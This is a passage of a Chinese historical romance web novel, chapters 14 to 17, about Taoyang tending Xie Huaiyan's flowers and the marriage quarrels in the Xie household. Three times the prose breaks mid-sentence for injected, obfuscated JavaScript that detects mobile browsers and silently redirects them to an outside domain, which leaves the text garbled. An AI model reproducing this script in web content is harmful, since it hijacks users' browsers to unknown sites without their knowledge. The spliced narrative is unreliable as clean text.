净空大师看着她的背影越走越远,神色惆怅。 —— 这几日桃漾不在韶院,韶院里却是热闹了起来。 起因是一家四口人晚间坐在一处用膳,桓馥随口说起了谢玉梵的亲事来,说是请了谢夫人为谢玉梵留意着合适的如意郎君,谢敛听在耳中一时嘴快,与桓馥道:“母亲不必操心六姐姐,她的亲事怕是已有了着落。” 事出必有因。 谢敛既这般说了,那就是他看到了什么,亦或是听到了些言语。 桓馥下意识就要骂上他几句,可还没开口呢,就看到谢玉梵在八仙桌下直接给了谢敛一脚,这倒是没什么,往日里姐弟二人也是时常打闹,可谢玉梵神色看似凶凶的,却是还红了脸。 瞪过谢敛一眼后,便只顾埋头用粥。 这下倒好,桓馥和谢澜相视一眼,神色间的情绪不谋而合,不信谢敛的胡诌怕也是不行,不用问都知道谢敛口中说的话,并非是打趣他姐姐。自来到淮阳谢氏,谢玉梵整日里没个人影,桓馥只以为她是和谢氏本家的女郎们待在一处,一直没问过她。 这件事发生在几日前。 颍川庾氏的人刚到淮阳谢氏那日,庾氏七郎君庾子君是头一回来淮阳,听闻谢氏府宅中的一景一物皆是巧夺天工,就让下人引着他在府中四处逛上一逛。 当时,谢玉梵正在莲湖边上喂鱼儿,初夏时节,莲湖里荷圆花却不盛,只有一枝浅浅绽开了花苞,在一众碧绿中显得格外清雅脱俗,谢玉梵满眼瞧着,想把那含苞待放的莲折下,插在屋内碧玉瓶中去。 可那莲苞长在深处,不是她一个伸手就能摘下的,她便吩咐身边人:“去把捉蝴蝶用的纱网找来,咱们折了那朵莲。”她的话音落,恰巧庾子君在此经过,听在了耳中。 君子成人之美。 庾子君上前见礼,随后瞧着湖中那朵莲笑道:“姑娘若是用捉蝶的网兜来折它,怕是折下了,花也被糟蹋了,”他神色温和有礼:“若姑娘愿意,我来帮你摘。” 笑话。 那朵莲离得岸边那么远,谢玉梵瞧他也没生出三头六臂来,一脸的不信:“你如何摘?”她的目光落在庾子君的手臂上,庾子君似乎猜出她心中所想,笑的更深:“我是习武之人。” 说罢,谢玉梵只觉眼前黑影一闪而过,片刻之间在岸边与莲池上方来回,待他站稳后,湖中那唯一盛放的一朵莲已在他的手心里握着,谢玉梵当即惊讶的瞪大了眼:“你,你这么厉害!” 庾子君只笑,将手中的莲递给她。 两人在湖边相谈,待了有小半个时辰。 之后的几日,两个人时常在府中遇见,有回谢玉梵回韶院,天色已有些暗下,不小心绊了脚,正巧被经过的庾子君上前给扶下,那是一片石榴林围绕的小道,隔得远处看,就似两人在幽会。 谢敛当时瞧了个正着,当即就上前把谢玉梵给带走,还口中头头是道的告诫谢玉梵:“六姐姐就算是心仪他,这天色就要暗了,两个人就这样待在暗处,实在是不妥!” 谢玉梵瞪他一眼:“不是你看到的那样!” 谢敛根本就不信她。 一顿晚膳,各怀心思。 之后,桓馥留了谢玉梵在屋中,问起她这件事,语气很温和:“阿梵说说,相中哪家的郎君了?”谢玉梵少女春心漾动,脸上满是羞意,倒也不扭捏,直接与桓馥道:“是颍川庾氏的七郎君。” 颍川庾氏几字说出口,桓馥的脸色立时就变了。 她收敛住面上情绪,握住谢玉梵的手,温声道:“娘若没记错,那七郎君出自庾氏三房,乃是颍川嫡出一脉,这亲事难成。”桓馥话说的绝对,如一盆冷水浇在谢玉梵头上。 谢玉梵立时绷了脸:“母亲!还未做呢您怎知难成?”谢玉梵气性来的快,拧了眉道:“我与他初见就觉得他非那般古板的男子,为人温润,待人也无出身之分。” 桓馥也正了神色:“咱们只是淮阳谢氏的分支,祖上是庶出一脉,阿梵,娘早就跟你说过了,若要嫁入名门士族,只能是嫁庶出子弟,你若不愿,普通士族也都可以挑选。” 谢玉梵甩开桓馥的手,跟只急了的兔子般跳起来,满脸的委屈:“母亲,您偏心!我和五姐姐同样的出身,为何她就能嫁去竹陵桓氏,她就能嫁入名门嫡脉,我就不行?” “您为了让她的亲事能成,亲自跑去竹陵求外祖母,到了我这里,您什么都不问就说不行!”谢玉梵说着说着就哭了,当初她本以为桓氏的这门亲事是给她的。 可恒哥哥喜欢的是桃漾。 后来她宽慰自己许久,才不再跟桃漾怄气,为什么她说出想嫁的人,要这么直截了当的回绝她! 桓馥看到她哭,心也软了下来,只是,依旧不肯松口,道:“若是别的士族子弟,娘都可以拿竹陵桓氏的身份去帮你,可颍川庾氏不行。”桓馥的声音很低,却带着不容反驳的坚定。 母女二人闹了一场,不欢而散。 —— 这几日谢怀砚都在鹿鸣山别苑。 处理完手边公务,他自木梯上二层阁楼,居高闲坐,品茶阅卷,偶尔瞧上一眼花海中那道倩丽的身影。空渊上阁楼来回禀:“公子,桓四郎君又来了,守门家仆说他太难缠,是否——” 谢怀砚正垂眸翻看书卷,闻言看了空渊一眼。 眼神凌厉,凛冽不悦。 空渊施礼退下。 这日,谢怀砚自豫州府衙回来,心情似乎不错,没有回他的别苑,直接去了香苑。桃漾在这里照料这些花草已有好几日,第一次见到他过来,心中暗暗想,他应是来看他的花草有没有被养坏的。 桃漾和陈月漪对他见过礼后,他垂眸看着桃漾,语气温和:“不必拘礼,我来看看桃漾妹妹是如何打理这些花草的。”正是辰时,桃漾和陈月漪以及数十婢女正在用小木瓢给这些花草撒草木灰。 听到他这么说,依旧去忙各自的。 谢怀砚站在花海中瞧了一会儿,也俯身在石桌上取来一只木瓢,见一旁搁置着两桶清泉水,就上前舀了一勺,浇在身侧的兰花花叶上,桃漾听到沥沥的水声,回身来看。 急忙朝他这边走过来,提醒道:“水不是这么浇的。”她抬起纤白指节给他指了指:“浇在根部。”谢怀砚眉心微抬,对她颔首,将手中木瓢里剩余的清泉水洒在花苗根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997168|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部。 桃漾手中还端着盛了草木灰的木瓢,转身回到那片杜鹃花前,继续施肥,她正忙活着,陈月漪忽然小声唤她:“桃漾,你看——”陈月漪小声的给她说,以眼神示意。 桃漾再急忙走过去,低声道:“天竺葵不喜湿,昨夜刚浇过水,”她看向另一侧的牡丹:“二公子若想亲力亲为,不妨给那片牡丹花浇些水罢。”谢怀砚看了眼她手所指的位置,随后目光落在桃漾眉眼。 他神色间微不可察的浮出几许兴味来,嗓音噙了笑意,问桃漾:“桃漾妹妹可是嫌我糟蹋了这些花草么?” 桃漾本能的摇头:“没有。”这是他的花草,他可任意处置。桃漾自觉话说的多了,垂下眼眸,见谢怀砚未再言语,再开口道:“我跟你一起来浇。” 谢怀砚对花草向来不喜,不过是看着桃漾在忙碌,看她悉心对待这些花草,也生出些侍弄花草的心思,桃漾一次又一次的来提醒他,神色既拘谨又带着些微的无奈,自她来到谢氏本家,他看到的,都是她温婉乖巧的模样,此刻的‘无奈胆怯’倒显出几分真实来。 他心情莫名的好,神色温和对她颔首。 桃漾跟在他身侧,抬手给他指,也没心思与他说各类花草的喜好,谢怀砚手握木瓢不疾不徐的浇水,未有言语,只有水声沥沥,陈月漪站在身后不远处看着他们两人,男子身量高大,背影俊美,举手投足尽显矜贵气度。 女子身姿窈窕,动如拂水,站在他身侧显得纤细弱小,可谓是一对璧人。 陈月漪蹲下身来,让自己隐匿在花草丛中,继续撒她的草木灰,只是她心中本来就有的疑惑,如今更为浓重了。 桃漾一直走在谢怀砚身后,可谢怀砚不知为何怜惜起这些花草来,浇水时的动作越来越轻缓,以至于桃漾不觉间就走在了他身前。微风轻拂,曳动衣裙,带来她身上的阵阵甜香,袭入鼻间。 谢怀砚侧眸,眸光落在她白皙修长的侧颈间。 他们身侧种着一棵海棠花树,花叶繁茂,海棠花瓣随甜香一道而来,飘飘然洒下。 桃漾只顾着眼前的花草,有花瓣落在青丝也未察觉,甜香缕缕扑面而来,谢怀砚抬手在她青丝上捻起,丢在一旁。 他指节间的力道不轻,桃漾心间一紧,眼眸敛下,明亮眸光看着那片落在脚下的海棠花瓣。 这时,不远处传来话语声,空渊上前来回禀:“公子,韶院那边来人说请五姑娘回去一趟,竹陵桓氏的人——”空渊话未说完,他家公子眸光扫过来,及时的闭了嘴。 桃漾却是听明白了,定是桓恒的母亲今日到了淮阳,母亲才会让她回去,也好商议她和桓恒的婚期。 她抬眸看向谢怀砚,眸中不由得露出几许欣喜与紧张:“二公子——”谢怀砚眸光收回,垂眸看她,神色淡然道:“竹陵桓氏的人来了,桃漾妹妹自是要回去。” 桃漾对他施礼,正欲离去,谢怀砚轻抬下颌,示意了眼她的手,纤柔的指节间沾染了片片的草木灰,他俯身在木桶中舀了半勺水,要给她浇水净手,桃漾微怔,在他手中木瓢水浇下的那一刻,抬起柔荑让清泉水落在手心。 他长身玉立,桃漾微微俯身,水声淅沥,如长线般缓缓而落,落在桃漾纤白指节,再由指节间散落,滴在木桶中。鹿鸣山中寂静,花海里更是充满宁静,这水声就显得嘹亮。 上首投下的目光太过直视,如午时的日光洒落,灼人的很。 15. 第 15 章 桃漾不曾抬眸,只微微凝了眉,直到那半瓢的清泉水尽数从她指缝间流过,谢怀砚俯身将木瓢扔进木桶中时,她才轻轻掀起眼皮,谨小慎微在他轮廓分明的侧颜上看了一眼。 木瓢与水撞出细微声响,桃漾站直身对谢怀砚道了谢,抬步往她和陈月漪居住的小院走去。 —— 桃漾换了身碧色绣缠枝素雅衣裙,回到韶院时,桓恒的母亲桓二夫人正在花厅里和桓馥相坐谈笑。身侧是随同桓二夫人前来谢氏的几位桓氏女郎,以及桓恒和谢玉梵。 桃漾走上前,对桓二夫人见礼,唤了声:“二舅母。” 桓馥面含笑意朝桃漾伸出手:“漾儿回来了。”桃漾上前,在桓馥身边落座,桓馥对桓二夫人说着:“漾儿从前在阳夏时喜好弄些花草,不过是随意摆弄,却是被二公子请去鹿鸣山中帮他照料着山中刚移栽过来的奇花异草。” 桓二夫人的目光落在桃漾眉眼间,笑着回桓馥的话:“看来桃漾对花草颇有研究,不像恒儿,就对这些花啊草啊的不感兴趣,整日里只做他的木工。”桓恒坐在身侧,听到母亲的话有些不满:“母亲,花草与木,乃是同类,我和桃漾妹妹的喜好是一样的。” 桓二夫人笑他:“都是歪理。” 在花厅闲话许久,桓二夫人起身回他们居住的玉园,桓恒这几日都未能见到桃漾,一时瞧见,就有些不太想离开,可他母亲和家中兄姊皆是今日才到,他亦不可不相陪,悄悄与桃漾眼神相对了好几回,这才随他母亲一道回玉园去。 刚在屋内坐下,桓恒就与桓二夫人直言:“母亲,您这是何意呢?我和桃漾妹妹的亲事早就定下,您今日说那些话,我不愿听。”桓二夫人睨他一眼,语气严厉:“你独自一人来淮阳,我还没跟你算账呢!” “怎么?刚一到这,你就来质问我了么?” 桓恒欲言又止,只道:“孩儿不敢。” 桓二夫人轻叹:“瞧瞧你这模样,见了她就跟没了魂一样,她就有这么好?让你抛下府中众人独自一人快马赶来,还为了她质问起母亲来。”桓二夫人越说越气,皱紧了眉头。 桓恒倒也不是执拗性子,见母亲生气,就蹲在她身前,神色温顺道:“母亲,您怎么跟我算账都行,可桃漾妹妹她就是很好。”桓二夫人闻言抬手揉了揉太阳穴,不予理会他。 桓恒就把她的手挪开,起身帮她按揉。 一边按揉一边说着:“我知道母亲顾虑什么,桃漾妹妹自幼被人说‘晦气不详’,母亲忌讳这些,可适才姑母不是说了么,桃漾妹妹是谢二公子请去为他照料花草的,当年说桃漾妹妹的人都已不再在意,母亲又在意什么呢?” 听到这,桓二夫人微微掀开眼皮,问桓恒:“当真是谢二公子请她去照料的花草么?”桓恒自然知道是因谢敛惹了祸,桃漾才去帮忙照料花草以此来赔罪的,可不管如何,谢二公子是不在意了,他对他母亲连连点头:“当然是真的,府中好些人都知道。” 桓二夫人没再问,只让桓恒继续给她按揉。 午后,桃漾和谢敛一同来了玉园,午时的时候谢敛不在,这个时候是前来给舅母请安的,桃漾则是手中提了只食盒,里面是她亲手做的几样点心,她上前道:“舅母一路舟车劳顿,我做了些芙蓉阿胶糕,可补气血,还有些莲子糕,如今夏日天热,可消暑解乏。” 几盘糕点做的精致,香气四溢。 糕点之上还有各种点缀,显然是用了心的,让人瞧着就想品尝一二,桓二夫人温和笑道:“真是心灵手巧,我尝尝。”她抬手捻起一块莲子糕,入口香甜软糯,比之平日里用的更香,却不过甜腻,口感甚好。 桓二夫人心中暗叹,怕不是这糕点把她儿子的心给拴住了。她瞧了瞧桃漾,这些年她母亲鲜少会回竹陵,连带着她们这些晚辈也未去过,之前定下亲事时,也只是见过她的画像,如今见了活生生的人,却是更要灵动貌美上几分,着实是个美人胚子。 桓二夫人留桃漾和谢敛在此坐下用茶,桃漾眉眼含笑,嗓音温软:“天热,舅母先午憩会儿,我和敛儿改日再来陪舅母说话。”倒是不卑不亢,温顺有礼,知进退,有分寸。 桓恒见桃漾送来的糕点母亲用了大半,心情也很是不错,心中只以为他和桃漾的婚期这回应是就要定下,心中不觉甚是欢喜。 —— 自来到淮阳谢氏,桃漾夜里便总有些睡不安稳,这夜,依旧是醒来了好几回。她有心事,半梦半醒,最后瞧见窗外天光微亮,仆人们已开始在外忙碌,索性坐起了身,不再睡下。 杏枝走进屋中时,隔着香纱床帐瞧见里面如画倩影,走上前去:“姑娘,怎这么早就不再睡下了?”杏枝跟在桃漾身边多年,心中自也明白,她家姑娘八成是为着与桓四郎君的亲事犯愁。 纵使郎有情妾有意,可奈何桓二夫人态度一直不明。 桃漾抬手拨开床帐,吩咐杏枝:“把那只羊脂玉玉镯取来。”桃漾确实为她的亲事心中不宁,不过心里也有其他事的疑虑。杏枝闻言急忙就去了,把玉镯递到桃漾手中后,点了烛火放在榻边小几上。 桃漾凑着那豆光仔细观着这只羊脂玉玉镯,神色间显出疑虑,这玉镯质地细腻,洁白无暇,越是这般上好的玉质,越不容易修复,当真有人能把碎裂的玉镯修复的如此无瑕,一点痕迹都瞧不出么? 晨起桃漾再来到鹿鸣山,一如前几日和陈月漪忙活着侍弄花草,一忙就是近两个时辰。 从前在阳夏,陈家还未落难时,陈月漪常去谢府找桃漾玩,那时陈月漪便不喜弄花草,常常坐在木秋千上看着桃漾忙活,给花剪枝,给花施肥,如今不过几日陈月漪倒是把该学该记的都学会了。 桃漾很有耐心,又心细如发,教的仔细,不止教给了陈月漪如何种养花草,还给她讲了如何‘压枝’‘接木’。她和陈月漪有往日的情分在,便想将心中所知通通给陈月漪讲解。 桃漾这般做也是为了陈月漪的日后着想。 她知这世间女子本就不易,尤其是陈月漪如今是乐籍。待谢老夫人的寿辰过去,她就要离开淮阳,陈月漪或许一直都会留在谢氏,谢怀砚是她日后的倚仗,若陈月漪能帮他照料好这些花草,谢怀砚或许会对她多上几分喜欢。 ‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997169|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几分喜欢’足够让她在他身边有立足之地。 不至于再次漂泊无依。 忙活了一晌午,两个人坐在院中海棠花树下用午膳,陈月漪问桃漾:“你当真是只在五岁那年来过淮阳谢氏么?”桃漾一边垂眸用粥一边随口应了声:“是啊,自那之后再未来过。” 陈月漪轻‘哦’了声,心中更为不解。只是她不敢再问,怕桃漾有所察觉。 她从前不懂,为何只因宴席上的一盘莲子糕,士族名门的谢二公子就要带她回淮阳谢氏,留她在后院中,如今却是都明白,因那莲子糕,是当年桃漾亲手教给她做的,有着一股特殊的清甜气息。 公子痴迷着记忆中的某些味道。 以及,某些身影。 桃漾只用了半碗红豆粥,就搁下了玉勺,陈月漪见状,问她:“是没胃口么?忙了那么久,再用些。”桃漾轻叹:“早两日就不是很有胃口,不过强撑罢了,实在是用不下。” 陈月漪也搁下玉勺:“请大夫来瞧瞧罢。” 桃漾对她摇头:“不是什么大事,”她微微凝眉:“你也知道的,我自年少时就冒犯过二公子,这几日待在鹿鸣山中时常见到他,心中总觉得不安,怕一不小心再得罪了他。” 陈月漪未有思虑,直言道:“怎么会儿呢,二公子待你很好。”她这样说,桃漾面上愁容更甚:“可他为何要待我好呢?我与他并不相熟,他本该厌恶我才对。”桃漾神色清淡,眸光却明亮亮的,看着陈月漪的眼睛。 陈月漪本能的躲开桃漾的直视,又拿起玉勺垂眸用粥:“二公子对府中的弟弟妹妹都很好,你和他同出一宗,他待你好也是应该的。”陈月漪对桃漾是有所隐瞒,可桃漾的问题她也确实不知,用过一口粥后,她又抬起眼眸来。 桃漾与她相视,轻轻颔首。 自从与陈月漪在谢府遇见以来,桃漾从未主动提起过陈月漪的事,怕触动她伤心,她抬眸往海棠花树间望了几眼,忽然回身对陈月漪温声道:“我若能向他讨份情,带你离开谢氏,你可愿意么?” 陈月漪闻言愣了神,随后低声回桃漾:“离开谢氏又能去哪儿呢?家人都已不在,就算嫁人也不过是只能嫁给凡夫俗子,”她顿了顿:“在谢氏很好。” 桃漾不再言此,只莞尔道:“二公子待你好,日后他娶了妻,或许会允你子嗣,在这里过上安稳日子。”陈月漪从前便总看不懂桃漾,如今更是了,她与桃漾解释:“我已不是公子后院中人,如今我在他身边侍奉,是他的婢女。” 桃漾讶然:“怎么会儿呢?他身上用的还是你调制的香。”昨日午时,桃漾与谢怀砚隔了有两步的距离,虽然谢怀砚身上有着很浓重的檀香气息,可桃漾还是在他身上闻到了莲子香。 那香她用了多年,不会有错。 陈月漪道:“那是早些日子你给我方子时,我试着调制,正巧被公子碰上,说味道倒是清甜,我就给了他。”午后的风很暖,桃漾掩手轻轻打了个哈欠,她向来心思细密,或许,是她过于紧张了。 她在谢怀砚面前不值一提,他的言谈举止也根本不值得她困惑。 16. 第 16 章 夜里,桃漾再回了韶院。 自那日谢玉梵和桓馥大吵一场,母女二人闹得不欢而散后,桓馥的身子就有些不适,加之天气渐热,胃口也不大好,一直煎着药服用,桃漾在谢怀砚的别苑与他说要回去照顾母亲,谢怀砚倒未多说,只回她:“既如此,桃漾妹妹便回去罢。” 桃漾回到韶院时,已有人送了上好的老参阿胶以及冬虫夏草各类珍贵补品,桓馥见她回来,让她在身边坐下,连声赞道:“谢二公子人有才名,虽居高位待人却是亲和,命人送来了这么多的补品。” 桃漾看了一眼,问桓馥:“母亲胃口可好些了么?”桓馥这是心病,本来只谢玉梵的事让她烦心,如今再加上桃漾和桓恒的事,她心中越发不爽利,用了两日药作用不大,她不愿桃漾担心,只对她道:“歇上几日就好了。” 桃漾温顺的在桓馥身边侍奉,贴心道:“此次来淮阳,母亲身边只带了宋嬷嬷一人,宋嬷嬷再是能干也总有照顾不全的时候,让杏枝留在母亲这里侍奉罢,左右我每日去鹿鸣山也不用她跟着,香苑里有侍奉的婢女。” 桓馥对她颔首。 —— 临近谢老夫人寿辰,家主谢蕴自南蛮商队购得一头象,命人牵去了存玉堂。大象乃瑞兽,寓意德行和吉祥,亦被誉为长寿的象征,用来为谢老夫人过寿再是合适不过,谢老夫人面色欣喜。 对谢蕴连连称赞。 谢蕴不止购买了大象,还有很多南蛮常用的琵琶、五弦以及整篌,送给府中的晚辈们,也好让她们都得个欢喜。桃漾昨夜既回了韶院,一早也陪着桓馥来存玉堂里给谢老夫人请安。 存玉堂里热闹,一群人都围着那头大象瞧,小郎君们还非闹着要骑上去玩乐。闹闹腾腾许久,辰时的时候,谢怀砚自外面回来进了存玉堂,彼时,围着大象瞧的人已没有那么拥挤。 桃漾被庆小郎君扯着去了近前,桓恒也跟上去,见桃漾眉目含笑,很是喜欢的抬手摸了摸,在一侧低声与桃漾道:“我适才问过了,这南蛮商队下月就能到竹陵郡,桃漾妹妹若喜欢,我也为你买上一只。” 少年少女站在一处本就如初春含苞待放的花骨朵,赏心悦目,再加上桓恒如此情动的说着日后的事,谢老夫人坐在桌前一眼就瞧见,与身侧的桓二夫人道:“瞧瞧这俩孩子,着实是般配。” 桓二夫人笑瞧了一眼,应和着谢老夫人。 言语毕,谢老夫人心中思绪再起,抬眸看向一侧的谢怀砚,开口道:“适才庾六姑娘还说起想到鹿鸣山中逛一逛,你今儿回来的早,陪她去走走。”颍川庾氏的人刚到淮阳那日,谢老夫人就在一群人中注意到了庾氏的六姑娘。 模样生的好,又是庾氏家主的掌上明珠,气质温婉端淑。 她有意试探,庾六姑娘对她孙儿是无异议的,她母亲亦是有意结这门亲。 谢怀砚神色温润对谢老夫人颔首:“庾六姑娘千金贵体,鹿鸣山中这几日正在修缮,常有男子往来,怕惊扰了六姑娘,待过上几日,定带六姑娘好生游览一番。” 庾六姑娘就在一侧她母亲身边坐着,站起身来见礼,声音温和:“左右在淮阳还要待上几日,不急于这一时。” 谢老夫人也未再说。 谢怀砚在存玉堂待上一盏茶的时辰,回鹿鸣山前眸光往桃漾那里扫过一眼,与桃漾道:“已过辰时,桃漾妹妹要一起回鹿鸣山么?”桃漾正在和桓恒一起陪庆小郎君玩闹,闻言回过身来,神色微怔。 她没想到谢怀砚会催她去干活,反应过来后对他颔首。 桓恒见桃漾要走,跟着道:“我送桃漾妹妹一道过去。” 府中青石板路上,谢怀砚独自走在前,桃漾和桓恒走在后,桓恒口中还在说着适才大象的事,说完后,又对桃漾道:“晚些时候我把《南蛮风物志》给桃漾妹妹送去,桃漾妹妹把喜欢的都圈出来,待南蛮商队到了竹陵郡,我都买来先为桃漾妹妹收着。” 桓恒的话算不上隐晦,不过是在为他和桃漾成亲后做打算,桃漾只当听不懂,轻声道:“我回头瞧瞧。”两人说了好些话,不知不觉就走到了鹿鸣山的山门前。 谢怀砚神色淡漠,未有请桓恒进去小坐的意思,桓恒吃过数次闭门羹后也深知谢怀砚做事的规矩,就停在这里,对谢怀砚谦礼道:“桃漾妹妹在鹿鸣山,还望二公子多多照顾。” 谢怀砚对他淡淡颔首:“这是自然。”说完,他大步往鹿鸣山中走去。桃漾也不敢耽搁,和桓恒再说了几句话后,急忙跟了上去,桃漾本以为谢怀砚也是要去香苑的,却见他往他的别苑方向走。 她只好放慢了步子,往香苑那边去。 一整日都未再看到过谢怀砚。 * 临近谢老夫人寿辰,桃漾这两日往返鹿鸣山和韶院,明显感到府中人越来越热闹了些。她有意绕僻静的小道走,不成想却遇到了谢沅,两人迎面相对,只颔首见礼便各自走开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997170|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 早些日子谢怀砚让谢念和谢沅待在屋内给谢老夫人抄写佛经祈福,谢沅这几日才得以出来走动,她也是出身谢氏分支,她的父母亦早已来了淮阳,往日里她母亲常写信叮嘱她,一定要好好侍奉谢老夫人,讨得她的欢心,日后才能嫁得高门,他们安陵谢氏全得倚仗着她了。 谢沅比桃漾大上一岁。 去年的时候,谢老夫人就已在为她相看亲事,只是一直未有合适的郎君。她们这几个自幼养在谢老夫人身边的姑娘,见多了世面,心气自然是高,一般的士族不愿嫁,可若想要攀上名门士族,她们的出身又都是谢氏分支。 亲事不好相看。 这日午后,谢老夫人唤了谢沅的母亲去存玉堂里说话,谢沅本就住在谢老夫人这里,见母亲进了老夫人屋内,心中自知是在商议她的亲事,她在院中站来站去,一时没忍住,偷偷去听了墙角。 屋内的话语声时不时的传出一两句,听的并不真切,谢沅只听到谢老夫人提到‘桓大郎君’,口中不住的在说他如何的博学多才,为人刚直,她母亲也不停的在应和,说些感谢老夫人的话。 谢沅听了个大概,心中欢喜,嘴角不觉间就上扬起来,悄悄离了谢老夫人的存玉堂。 待到第二日,桃漾再回到韶院时,谢沅来了这里见她,手中还握了只锦盒,里面是上好的胭脂,送给桃漾的。桃漾与她在屋内八仙桌前坐下,添了茶水后,与谢沅道:“沅姐姐好心,我本该收下的,只是铺面上售卖的胭脂水粉里都含有蚌粉,我对蚌粉过敏。” 谢沅笑了笑:“是我未考虑周全,不知桃漾妹妹对胭脂过敏,下回送给妹妹别的。”桃漾神色清淡,虽她不知谢沅为何突然来见她,却也不耐烦与她相谈过多,只随口与她闲聊了几句。 谢沅却是与桃漾聊了好些。 她今日来,是特意与桃漾交好的。若她日后真的与桓大郎君定了亲,那和桃漾也算是嫁入了同一士族,同为谢氏分支出身,她虽极不喜欢桃漾,可日后在竹陵桓氏,却未必没有用得到她的地方。 谢沅在桃漾这里待了小半个时辰后才离去。 她走后,桃漾就进了净室沐浴,杏枝见她靠在桶壁上闭目休憩,显然是很疲倦的模样,就开口问:“姑娘既不喜沅姑娘,何不寻个由头让她走呢?”默上片刻,桃漾轻叹了声:“她心思重,忽然来此,我总要弄明白她是动了什么心思。” 杏枝好奇:“姑娘可看明白了么?” 17.第 17 章 桃漾微微凝眉,纤白指节拨动清水,荡起阵阵涟漪。 桃漾见过谢沅哭。 那年,谢沅未被谢老夫人选中,别的小姑娘心里都是兴奋的,因为未被选中,意味着她们就可以回自己的家,和父母姐妹在一起,只有谢沅,她当时哭的很伤心,桃漾看着她时,她很凶的瞪了桃漾一眼。 五六岁的孩子能知道些什么? 那时候根本不知留在谢氏本家对她们的日后有何助益,可谢沅知道。 之后,桃漾因着‘晦气’而被谢老夫人送走,选了谢沅留下,她们那些小姑娘中,别人都在为桃漾离开而感到失落,也只有谢沅,她黑漆漆的眸子盯着桃漾,里面满是得意和兴奋。 过去了这么些年,桃漾不知谢沅被养在谢老夫人身边有没有改变,可那日设计她在莲园,害的庆小郎君落水,定然有谢沅的主意在,不管谢沅如今出自什么目的来与她交好,桃漾都不愿与她多接触。 她在浴桶中撩拨起阵阵水花,想了想:“许是她也要定下竹陵桓氏的亲事,想来拉我做个伴。”杏枝不懂这些,闻言只道:“这是好事啊,姑娘日后嫁去桓氏,有个伴终究是好的。” 桃漾轻笑了下。 第二日晚间,谢沅在玉兰园中请了说书先生说书,命人来韶院请桃漾,桃漾寻了个由头推脱,并未前去。谢沅倒也未生气,还又命人给桃漾送去了几本新出的书册,让桃漾瞧个新鲜。 晚些时候,谢沅来见过她母亲,正要回存玉堂时,她的一个小妹妹见她眉目含笑,一副乐哉的模样,上前很是好奇的问她:“沅姐姐,别人都说瘸了腿的男人不能要,你为何这么开心?”谢沅的小妹妹只有五岁大,很是天真:“难不成沅姐姐喜欢瘸子么?” 谢沅被她问的一时懵住:“什么瘸子?” 谢沅的母亲只告诉她桓大郎君刚没了妻子,是要娶续妻,当时谢沅心中略有不悦,她母亲就道:“你也不想想,桓大郎君是竹陵桓氏家主之子,若非是娶续妻,能轮得到你么?” 续妻也是正室。 谢沅倒没说什么,日后等着她的是桓氏一族的家主夫人,是无尽的体面与尊荣。 可母亲却不曾告诉她,桓大郎君还瘸了腿。 一个瘸了腿的男人,如何做得桓氏一族的家主?而且,如今的桓氏家主膝下有三子,皆是出自正妻嫡脉,又如何会是他。 她不嫁! 谢沅气冲冲的冲进屋中,最后哭着跑了出来。 她母亲站在门前,气她不懂事:“只要你能嫁去竹陵桓氏,就有享不尽的荣华,你要的是日后桓氏家主夫人这个身份,管他人怎么样呢?他是嫡长子,只要能给你孩子,让你立足,这不就够了!” 谢沅狠狠的回身看了她母亲一眼。 是她只要嫁入竹陵桓氏,就能帮扶他们罢! 谢沅回到存玉堂,趴在软衾上哭了好一阵,待哭过了劲儿,她从榻上爬起来,唤了一声她的贴身婢女,没有人应,再唤,还是没有人来回话,谢沅眉间生怒,站起身来往外走,刚绕过山水屏风,她的婢女巧儿就自外走了回来,急忙解释道:“姑娘,是桃漾姑娘命人给您送来了这个,奴婢出去取了。” 谢沅瞪她一眼,抬手给了她一巴掌。 “混账东西,唤了你几声了?” “耳朵聋了不成,我要你有何用,不如打死了事!” 巧儿扑通一声跪下来,眼泪憋着不敢往下掉。 屋内安静了好一会儿,谢沅出了气,深叹一声,这才注意到巧儿手中捧着的锦盒,从巧儿手中取过,随手打开,里面是一方雕刻精美的砚台,谢沅冷哼一声,手上的力松下,砚台‘砰’的一声掉落在地。 “什么贱玩意,也来我这里送。” “我自幼生活在淮阳,什么没见过,用得着她一个阳夏都没出过几回的人来送么!” 谢沅出了好大一通的气,到了第二日,桃漾自鹿鸣山回韶院,经过春露湖一侧的石子小径时,正巧遇到了谢沅,谢沅肿着一双眼,神色恹恹,见到桃漾时急忙低下了头,礼貌颔首后就要走。 桃漾回礼,径直从她身边走过,谢沅却又在身后唤住她:“桃漾妹妹——”谢沅有些欲言又止,嗓音哑哑的,桃漾停下步子,回过身来,神色很是平和的看向她。 谢沅轻声道:“桃漾妹妹可以陪我说会儿话么?”谢沅的神色实在是不好,泫然欲泣,桃漾开口问她:“沅姐姐有什么话要与我说?” 